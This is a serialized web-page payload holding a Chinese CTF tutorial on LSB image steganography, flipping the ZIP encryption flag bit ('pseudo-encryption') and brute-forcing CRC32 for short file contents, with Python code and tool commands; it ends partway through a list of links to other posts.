[{"data":1,"prerenderedAt":14497},["ShallowReactive",2],{"blog-post-/blogs/ctf-misc-stego-forensics-deep-dive":3,"all-blogs-for-navigation":1172},{"id":4,"title":5,"body":6,"description":1157,"extension":1158,"meta":1159,"navigation":132,"ogImage":1161,"path":1168,"seo":1169,"stem":1170,"__hash__":1171},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":8,"toc":1147},"minimark",[9,14,23,27,80,84,89,92,100,104,111,309,323,327,332,338,454,457,463,467,484,491,495,500,505,509,512,518,525,529,534,572,574,580,583,589,593,598,655,658,664,667,705,707,713,716,720,729,784,786,792,799,803,808,813,816,914,921,927,938,942,1023,1027,1032,1037,1043,1046,1094,1097,1102,1109,1124,1127,1131,1143],[10,11,13],"h3",{"id":12},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,16,17,18,22],"p",{},"文件真实类型由文件头决定。ZIP 文件头是 ",[19,20,21],"code",{},"50 4B 03 04","，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,24,26],{"id":25},"二环境准备","二、环境准备",[28,29,34],"pre",{"className":30,"code":31,"language":32,"meta":33,"style":33},"language-bash shiki shiki-themes dracula","apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n","bash","",[19,35,36,58,69],{"__ignoreMap":33},[37,38,41,45,49,52,55],"span",{"class":39,"line":40},"line",1,[37,42,44],{"class":43},"sAOxA","apt",[37,46,48],{"class":47},"s-mGx"," install",[37,50,51],{"class":47}," file",[37,53,54],{"class":47}," binutils",[37,56,57],{"class":47}," binwalk\n",[37,59,61,64,66],{"class":39,"line":60},2,[37,62,63],{"class":43},"pip3",[37,65,48],{"class":47},[37,67,68],{"class":47}," pillow\n",[37,70,72,75,77],{"class":39,"line":71},3,[37,73,74],{"class":43},"gem",[37,76,48],{"class":47},[37,78,79],{"class":47}," zsteg\n",[10,81,83],{"id":82},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[85,86,88],"h4",{"id":87},"_31-原理","3.1 原理",[15,90,91],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[28,93,98],{"className":94,"code":96,"language":97,"meta":33},[95],"language-text","原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n","text",[19,99,96],{"__ignoreMap":33},[85,101,103],{"id":102},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,105,106,110],{},[107,108,109],"strong",{},"目的","：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[28,112,116],{"className":113,"code":114,"language":115,"meta":33,"style":33},"language-python shiki shiki-themes dracula","from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n","python",[19,117,118,123,128,134,140,146,152,157,163,169,175,181,187,193,198,204,210,216,222,228,234,239,245,251,256,262,268,274,279,285,291,297,303],{"__ignoreMap":33},[37,119,120],{"class":39,"line":40},[37,121,122],{},"from PIL import Image\n",[37,124,125],{"class":39,"line":60},[37,126,127],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[37,129,130],{"class":39,"line":71},[37,131,133],{"emptyLinePlaceholder":132},true,"\n",[37,135,137],{"class":39,"line":136},4,[37,138,139],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[37,141,143],{"class":39,"line":142},5,[37,144,145],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[37,147,149],{"class":39,"line":148},6,[37,150,151],{},"message = \"flag{lsb_steganography}\"\n",[37,153,155],{"class":39,"line":154},7,[37,156,133],{"emptyLinePlaceholder":132},[37,158,160],{"class":39,"line":159},8,[37,161,162],{},"data = message.encode() + b'\\x00'\n",[37,164,166],{"class":39,"line":165},9,[37,167,168],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[37,170,172],{"class":39,"line":171},10,[37,173,174],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[37,176,178],{"class":39,"line":177},11,[37,179,180],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[37,182,184],{"class":39,"line":183},12,[37,185,186],{},"pixels = list(img.getdata())\n",[37,188,190],{"class":39,"line":189},13,[37,191,192],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[37,194,196],{"class":39,"line":195},14,[37,197,133],{"emptyLinePlaceholder":132},[37,199,201],{"class":39,"line":200},15,[37,202,203],{},"new_pixels = []\n",[37,205,207],{"class":39,"line":206},16,[37,208,209],{},"i = 0\n",[37,211,213],{"class":39,"line":212},17,[37,214,215],{},"for r, g, b in pixels:\n",[37,217,219],{"class":39,"line":218},18,[37,220,221],{},"    if i \u003C len(bits):\n",[37,223,225],{"class":39,"line":224},19,[37,226,227],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[37,229,231],{"class":39,"line":230},20,[37,232,233],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[37,235,237],{"class":39,"line":236},21,[37,238,221],{},[37,240,242],{"class":39,"line":241},22,[37,243,244],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[37,246,248],{"class":39,"line":247},23,[37,249,250],{},"        # 绿色通道，同样处理。\n",[37,252,254],{"class":39,"line":253},24,[37,255,221],{},[37,257,259],{"class":39,"line":258},25,[37,260,261],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[37,263,265],{"class":39,"line":264},26,[37,266,267],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[37,269,271],{"class":39,"line":270},27,[37,272,273],{},"    new_pixels.append((r, g, b))\n",[37,275,277],{"class":39,"line":276},28,[37,278,133],{"emptyLinePlaceholder":132},[37,280,282],{"class":39,"line":281},29,[37,283,284],{},"img.putdata(new_pixels)\n",[37,286,288],{"class":39,"line":287},30,[37,289,290],{},"# putdata()：把修改后的像素写回图片。\n",[37,292,294],{"class":39,"line":293},31,[37,295,296],{},"img.save('hidden.png')\n",[37,298,300],{"class":39,"line":299},32,[37,301,302],{},"# save()：保存为 PNG。\n",[37,304,306],{"class":39,"line":305},33,[37,307,308],{},"print(\"已生成 hidden.png\")\n",[15,310,311,314,315,318,319,322],{},[19,312,313],{},"r & 0xfe"," 清零最低位（",[19,316,317],{},"0xfe = 11111110","），",[19,320,321],{},"| bit"," 写入。",[85,324,326],{"id":325},"_33-提取解题视角","3.3 提取（解题视角）",[15,328,329,331],{},[107,330,109],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,333,334,337],{},[107,335,336],{},"思路","：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[28,339,341],{"className":113,"code":340,"language":115,"meta":33,"style":33},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[19,342,343,347,351,356,361,366,371,376,381,385,390,395,400,405,410,415,420,425,430,435,440,444,449],{"__ignoreMap":33},[37,344,345],{"class":39,"line":40},[37,346,122],{},[37,348,349],{"class":39,"line":60},[37,350,133],{"emptyLinePlaceholder":132},[37,352,353],{"class":39,"line":71},[37,354,355],{},"img = Image.open('hidden.png').convert('RGB')\n",[37,357,358],{"class":39,"line":136},[37,359,360],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[37,362,363],{"class":39,"line":142},[37,364,365],{},"bits = []\n",[37,367,368],{"class":39,"line":148},[37,369,370],{},"for r, g, b in img.getdata():\n",[37,372,373],{"class":39,"line":154},[37,374,375],{},"    bits += [r & 1, g & 1, b & 1]\n",[37,377,378],{"class":39,"line":159},[37,379,380],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[37,382,383],{"class":39,"line":165},[37,384,133],{"emptyLinePlaceholder":132},[37,386,387],{"class":39,"line":171},[37,388,389],{},"data = bytearray()\n",[37,391,392],{"class":39,"line":177},[37,393,394],{},"for i in range(0, len(bits) - 7, 8):\n",[37,396,397],{"class":39,"line":183},[37,398,399],{},"    # 每 8 个比特一组，步长为 8。\n",[37,401,402],{"class":39,"line":189},[37,403,404],{},"    byte = 0\n",[37,406,407],{"class":39,"line":195},[37,408,409],{},"    for bit in bits[i:i+8]:\n",[37,411,412],{"class":39,"line":200},[37,413,414],{},"        byte = (byte \u003C\u003C 1) | bit\n",[37,416,417],{"class":39,"line":206},[37,418,419],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[37,421,422],{"class":39,"line":212},[37,423,424],{},"    if byte == 0:\n",[37,426,427],{"class":39,"line":218},[37,428,429],{},"        # 字节 0 是隐藏时追加的结束符。\n",[37,431,432],{"class":39,"line":224},[37,433,434],{},"        break\n",[37,436,437],{"class":39,"line":230},[37,438,439],{},"    data.append(byte)\n",[37,441,442],{"class":39,"line":236},[37,443,133],{"emptyLinePlaceholder":132},[37,445,446],{"class":39,"line":241},[37,447,448],{},"print(data.decode())\n",[37,450,451],{"class":39,"line":247},[37,452,453],{},"# decode()：字节串解码成字符串。\n",[15,455,456],{},"实际输出：",[28,458,461],{"className":459,"code":460,"language":97,"meta":33},[95],"flag{lsb_steganography}\n",[19,462,460],{"__ignoreMap":33},[85,464,466],{"id":465},"_34-工具验证","3.4 工具验证",[28,468,470],{"className":30,"code":469,"language":32,"meta":33,"style":33},"zsteg -a hidden.png\n",[19,471,472],{"__ignoreMap":33},[37,473,474,477,481],{"class":39,"line":40},[37,475,476],{"class":43},"zsteg",[37,478,480],{"class":479},"sIQBb"," -a",[37,482,483],{"class":47}," hidden.png\n",[15,485,486,487,490],{},"预期输出中包含 ",[19,488,489],{},"flag{lsb_steganography}","。",[10,492,494],{"id":493},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,496,497,499],{},[107,498,109],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,501,502,504],{},[107,503,336],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[85,506,508],{"id":507},"_41-zip-结构","4.1 ZIP 结构",[15,510,511],{},"本地文件头：",[28,513,516],{"className":514,"code":515,"language":97,"meta":33},[95],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[19,517,515],{"__ignoreMap":33},[15,519,520,521,524],{},"中央目录头（签名 ",[19,522,523],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[85,526,528],{"id":527},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,530,531,533],{},[107,532,109],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[28,535,537],{"className":113,"code":536,"language":115,"meta":33,"style":33},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[19,538,539,544,548,553,558,562,567],{"__ignoreMap":33},[37,540,541],{"class":39,"line":40},[37,542,543],{},"import zipfile\n",[37,545,546],{"class":39,"line":60},[37,547,133],{"emptyLinePlaceholder":132},[37,549,550],{"class":39,"line":71},[37,551,552],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[37,554,555],{"class":39,"line":136},[37,556,557],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[37,559,560],{"class":39,"line":142},[37,561,133],{"emptyLinePlaceholder":132},[37,563,564],{"class":39,"line":148},[37,565,566],{},"data = open('flag.zip', 'rb').read()\n",[37,568,569],{"class":39,"line":154},[37,570,571],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,573,456],{},[28,575,578],{"className":576,"code":577,"language":97,"meta":33},[95],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[19,579,577],{"__ignoreMap":33},[15,581,582],{},"解释：",[28,584,587],{"className":585,"code":586,"language":97,"meta":33},[95],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[19,588,586],{"__ignoreMap":33},[85,590,592],{"id":591},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,594,595,597],{},[107,596,336],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[28,599,601],{"className":113,"code":600,"language":115,"meta":33,"style":33},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[19,602,603,608,612,617,622,627,631,636,641,646,650],{"__ignoreMap":33},[37,604,605],{"class":39,"line":40},[37,606,607],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[37,609,610],{"class":39,"line":60},[37,611,133],{"emptyLinePlaceholder":132},[37,613,614],{"class":39,"line":71},[37,615,616],{},"# 本地文件头：偏移 6 处标志位置位\n",[37,618,619],{"class":39,"line":136},[37,620,621],{},"idx = data.find(b'PK\\x03\\x04')\n",[37,623,624],{"class":39,"line":142},[37,625,626],{},"data[idx + 6] |= 1\n",[37,628,629],{"class":39,"line":148},[37,630,133],{"emptyLinePlaceholder":132},[37,632,633],{"class":39,"line":154},[37,634,635],{},"# 中央目录头：偏移 8 处标志位置位\n",[37,637,638],{"class":39,"line":159},[37,639,640],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[37,642,643],{"class":39,"line":165},[37,644,645],{},"data[idx2 + 8] |= 1\n",[37,647,648],{"class":39,"line":171},[37,649,133],{"emptyLinePlaceholder":132},[37,651,652],{"class":39,"line":177},[37,653,654],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,656,657],{},"修改后的 hexdump：",[28,659,662],{"className":660,"code":661,"language":97,"meta":33},[95],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[19,663,661],{"__ignoreMap":33},[15,665,666],{},"尝试读取：",[28,668,670],{"className":113,"code":669,"language":115,"meta":33,"style":33},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[19,671,672,676,680,685,690,695,700],{"__ignoreMap":33},[37,673,674],{"class":39,"line":40},[37,675,543],{},[37,677,678],{"class":39,"line":60},[37,679,133],{"emptyLinePlaceholder":132},[37,681,682],{"class":39,"line":71},[37,683,684],{},"try:\n",[37,686,687],{"class":39,"line":136},[37,688,689],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[37,691,692],{"class":39,"line":142},[37,693,694],{},"        print(z.read('flag.txt'))\n",[37,696,697],{"class":39,"line":148},[37,698,699],{},"except Exception as e:\n",[37,701,702],{"class":39,"line":154},[37,703,704],{},"    print(type(e).__name__, e)\n",[15,706,456],{},[28,708,711],{"className":709,"code":710,"language":97,"meta":33},[95],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[19,712,710],{"__ignoreMap":33},[15,714,715],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[85,717,719],{"id":718},"_44-修复","4.4 修复",[15,721,722,724,725,728],{},[107,723,336],{},"：把两处标志位最低位清零（",[19,726,727],{},"& 0xfe","），恢复成未加密状态。",[28,730,732],{"className":113,"code":731,"language":115,"meta":33,"style":33},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[19,733,734,739,743,747,752,756,761,765,770,774,779],{"__ignoreMap":33},[37,735,736],{"class":39,"line":40},[37,737,738],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[37,740,741],{"class":39,"line":60},[37,742,133],{"emptyLinePlaceholder":132},[37,744,745],{"class":39,"line":71},[37,746,621],{},[37,748,749],{"class":39,"line":136},[37,750,751],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[37,753,754],{"class":39,"line":142},[37,755,640],{},[37,757,758],{"class":39,"line":148},[37,759,760],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[37,762,763],{"class":39,"line":154},[37,764,133],{"emptyLinePlaceholder":132},[37,766,767],{"class":39,"line":159},[37,768,769],{},"open('flag_fixed.zip', 'wb').write(data)\n",[37,771,772],{"class":39,"line":165},[37,773,133],{"emptyLinePlaceholder":132},[37,775,776],{"class":39,"line":171},[37,777,778],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[37,780,781],{"class":39,"line":177},[37,782,783],{},"    print(z.read('flag.txt'))\n",[15,785,456],{},[28,787,790],{"className":788,"code":789,"language":97,"meta":33},[95],"b'ctf{zip}'\n",[19,791,789],{"__ignoreMap":33},[15,793,794,795,798],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[19,796,797],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,800,802],{"id":801},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,804,805,807],{},[107,806,109],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,809,810,812],{},[107,811,336],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,814,815],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[28,817,819],{"className":113,"code":818,"language":115,"meta":33,"style":33},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[19,820,821,826,831,835,840,845,850,855,859,864,869,874,879,884,889,894,899,904,909],{"__ignoreMap":33},[37,822,823],{"class":39,"line":40},[37,824,825],{},"import zipfile, zlib, itertools\n",[37,827,828],{"class":39,"line":60},[37,829,830],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[37,832,833],{"class":39,"line":71},[37,834,133],{"emptyLinePlaceholder":132},[37,836,837],{"class":39,"line":136},[37,838,839],{},"z = zipfile.ZipFile('flag.zip')\n",[37,841,842],{"class":39,"line":142},[37,843,844],{},"target = z.getinfo('flag.txt').CRC\n",[37,846,847],{"class":39,"line":148},[37,848,849],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[37,851,852],{"class":39,"line":154},[37,853,854],{},"print(\"目标 CRC:\", target)\n",[37,856,857],{"class":39,"line":159},[37,858,133],{"emptyLinePlaceholder":132},[37,860,861],{"class":39,"line":165},[37,862,863],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[37,865,866],{"class":39,"line":171},[37,867,868],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[37,870,871],{"class":39,"line":177},[37,872,873],{},"for length in range(1, 5):\n",[37,875,876],{"class":39,"line":183},[37,877,878],{},"    for tup in itertools.product(charset, repeat=length):\n",[37,880,881],{"class":39,"line":189},[37,882,883],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[37,885,886],{"class":39,"line":195},[37,887,888],{},"        s = ''.join(tup).encode()\n",[37,890,891],{"class":39,"line":200},[37,892,893],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[37,895,896],{"class":39,"line":206},[37,897,898],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[37,900,901],{"class":39,"line":212},[37,902,903],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[37,905,906],{"class":39,"line":218},[37,907,908],{},"            print(\"爆破结果:\", s)\n",[37,910,911],{"class":39,"line":224},[37,912,913],{},"            exit()\n",[15,915,916,917,920],{},"实际输出（目标内容 ",[19,918,919],{},"ctf1","）：",[28,922,925],{"className":923,"code":924,"language":97,"meta":33},[95],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[19,926,924],{"__ignoreMap":33},[15,928,929,930,933,934,937],{},"注意 ",[19,931,932],{},"zlib.crc32"," 返回有符号整数，需要 ",[19,935,936],{},"& 0xffffffff"," 归一化。",[10,939,941],{"id":940},"六必学工具","六、必学工具",[943,944,945,961],"table",{},[946,947,948],"thead",{},[949,950,951,955,958],"tr",{},[952,953,954],"th",{},"工具",[952,956,957],{},"核心功能",[952,959,960],{},"命令",[962,963,964,978,995,1011],"tbody",{},[949,965,966,970,973],{},[967,968,969],"td",{},"file",[967,971,972],{},"看类型",[967,974,975],{},[19,976,977],{},"file flag.png",[949,979,980,983,986],{},[967,981,982],{},"xxd",[967,984,985],{},"看文件头与结构",[967,987,988,991,992],{},[19,989,990],{},"xxd -l 16 flag.png","、",[19,993,994],{},"xxd flag.zip | head",[949,996,997,1000,1003],{},[967,998,999],{},"binwalk",[967,1001,1002],{},"扫描/提取隐藏文件",[967,1004,1005,991,1008],{},[19,1006,1007],{},"binwalk flag.png",[19,1009,1010],{},"binwalk -e flag.png",[949,1012,1013,1015,1018],{},[967,1014,476],{},[967,1016,1017],{},"LSB 自动检测",[967,1019,1020],{},[19,1021,1022],{},"zsteg -a flag.png",[10,1024,1026],{"id":1025},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,1028,1029,1031],{},[107,1030,109],{},"：把前三节串成一道完整题目。",[15,1033,1034,1036],{},[107,1035,336],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,1038,1039,1040,490],{},"题目：",[19,1041,1042],{},"flag.png",[15,1044,1045],{},"第一步：",[28,1047,1049],{"className":30,"code":1048,"language":32,"meta":33,"style":33},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[19,1050,1051,1062,1085],{"__ignoreMap":33},[37,1052,1053,1055,1058],{"class":39,"line":40},[37,1054,969],{"class":43},[37,1056,1057],{"class":47}," flag.png",[37,1059,1061],{"class":1060},"shSDL","          # PNG image data\n",[37,1063,1064,1067,1069,1073,1076,1079,1082],{"class":39,"line":60},[37,1065,1066],{"class":43},"strings",[37,1068,1057],{"class":47},[37,1070,1072],{"class":1071},"s0Tla"," |",[37,1074,1075],{"class":43}," grep",[37,1077,1078],{"class":479}," -i",[37,1080,1081],{"class":47}," flag",[37,1083,1084],{"class":1060},"    # 无输出\n",[37,1086,1087,1089,1091],{"class":39,"line":71},[37,1088,999],{"class":43},[37,1090,1057],{"class":47},[37,1092,1093],{"class":1060},"                   # 无隐藏文件\n",[15,1095,1096],{},"第二步：怀疑 LSB，运行提取脚本：",[28,1098,1100],{"className":1099,"code":460,"language":97,"meta":33},[95],[19,1101,460],{"__ignoreMap":33},[15,1103,1104,1105,1108],{},"变体：若提取出的字节不是文本而是 ",[19,1106,1107],{},"PK"," 开头，把它保存为 zip，再检查是否伪加密：",[28,1110,1112],{"className":113,"code":1111,"language":115,"meta":33,"style":33},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[19,1113,1114,1119],{"__ignoreMap":33},[37,1115,1116],{"class":39,"line":40},[37,1117,1118],{},"with open('extracted.zip', 'wb') as f:\n",[37,1120,1121],{"class":39,"line":60},[37,1122,1123],{},"    f.write(data)\n",[15,1125,1126],{},"然后按第四节流程检查并修复标志位。",[10,1128,1130],{"id":1129},"八小结","八、小结",[15,1132,1133,1134,1136,1137,1139,1140,1142],{},"取证主线：",[19,1135,969],{}," 确认类型 → ",[19,1138,1066],{},"/",[19,1141,999],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1144,1145,1146],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":33,"searchDepth":60,"depth":60,"links":1148},[1149,1150,1151,1152,1153,1154,1155,1156],{"id":12,"depth":71,"text":13},{"id":25,"depth":71,"text":26},{"id":82,"depth":71,"text":83},{"id":493,"depth":71,"text":494},{"id":801,"depth":71,"text":802},{"id":940,"depth":71,"text":941},{"id":1025,"depth":71,"text":1026},{"id":1129,"depth":71,"text":1130},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。","md",{"date":1160,"image":1161,"alt":1162,"tags":1163,"published":132},"14th Aug 2026","/blogs-img/blog2.png","隐写与取证深入实战",[1164,1165,1166,1167],"ctf","misc","隐写","example","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":5,"description":1157},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",[1173,2481,3353,4353,5258,6663,7722,8674,9772,10809,11788,12638],{"id":1174,"title":1175,"body":1176,"description":2471,"extension":1158,"meta":2472,"navigation":132,"ogImage":2473,"path":2477,"seo":2478,"stem":2479,"__hash__":2480},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 